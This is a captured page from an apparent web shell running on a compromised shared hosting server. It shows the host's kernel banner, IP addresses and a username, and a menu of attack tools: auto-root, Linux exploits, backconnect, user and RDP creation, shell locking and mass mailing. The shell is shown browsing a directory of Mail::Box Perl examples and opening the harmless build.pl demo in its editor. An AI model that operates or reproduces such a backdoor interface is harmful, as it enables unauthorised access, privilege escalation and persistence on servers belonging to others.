Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libmail-box-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
scripts
[ DIR ]
drwxr-xr-x
build.pl
1.77
KB
-rw-r--r--
grep.pl
936
B
-rw-r--r--
multipart.pl
1.38
KB
-rw-r--r--
open.pl
1.02
KB
-rw-r--r--
reply.pl
2.82
KB
-rw-r--r--
send.pl
1.05
KB
-rw-r--r--
smaller.pl
2.26
KB
-rw-r--r--
strip-attachments.pl
3.33
KB
-rw-r--r--
strip-spam-markup.pl
6.75
KB
-rw-r--r--
takelarge.pl
1.64
KB
-rw-r--r--
unpack.pl
2.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : build.pl
#!/usr/bin/perl # Demonstration on how to use create complex messages from building # bricks. # # This code can be used and modified without restriction. # Mark Overmeer, <mailbox@overmeer.net>, 16 nov 2001 use warnings; use strict; use lib '..', '.'; use Mail::Box::Manager 2.00; # Not needed for the build method, which is demonstrated here, but # for the structures used to create the demonstration. use Mail::Message::Body; # # Get the command line arguments. # die "Usage: $0 outfile\n" unless @ARGV == 1; my $outfile = shift @ARGV; # # There are many ways you can add data to new messages. Below is # a example which uses files which may not be available on you machine. # Modify the names for your system. # my $anybody = Mail::Message::Body->new(data => <<'A_FEW_LINES'); Just a few lines to show that you can add prepared bodies to the message which is built. A_FEW_LINES my $vcard = Mail::Message::Body->new ( mime_type => 'text/x-vcard', data => <<'SIG'); This is a signature. It has a different type. SIG # # The next part is what I want to demonstrate # my $message = Mail::Message->build ( From => 'me@example.com' , To => 'you@demosite.net' , 'In-Reply-To' => '<iwufd87.sfu76k>' , data => <<'FIRST_PART' This is the first part of the multi-part message which will be created. If only one source of data is specified, a single part message is produced. FIRST_PART , file => '/etc/passwd' , file => '/usr/src/linux/Documentation/logo.gif' , attach => $anybody , attach => $vcard ); # # The message is ready to be printed, transmitted, and/or added to # a folder. # die "Cannot create $outfile: $!\n" unless open OUT, '>', $outfile; $message->print(\*OUT); # $message->send; # $folder->addMessage($message);
Close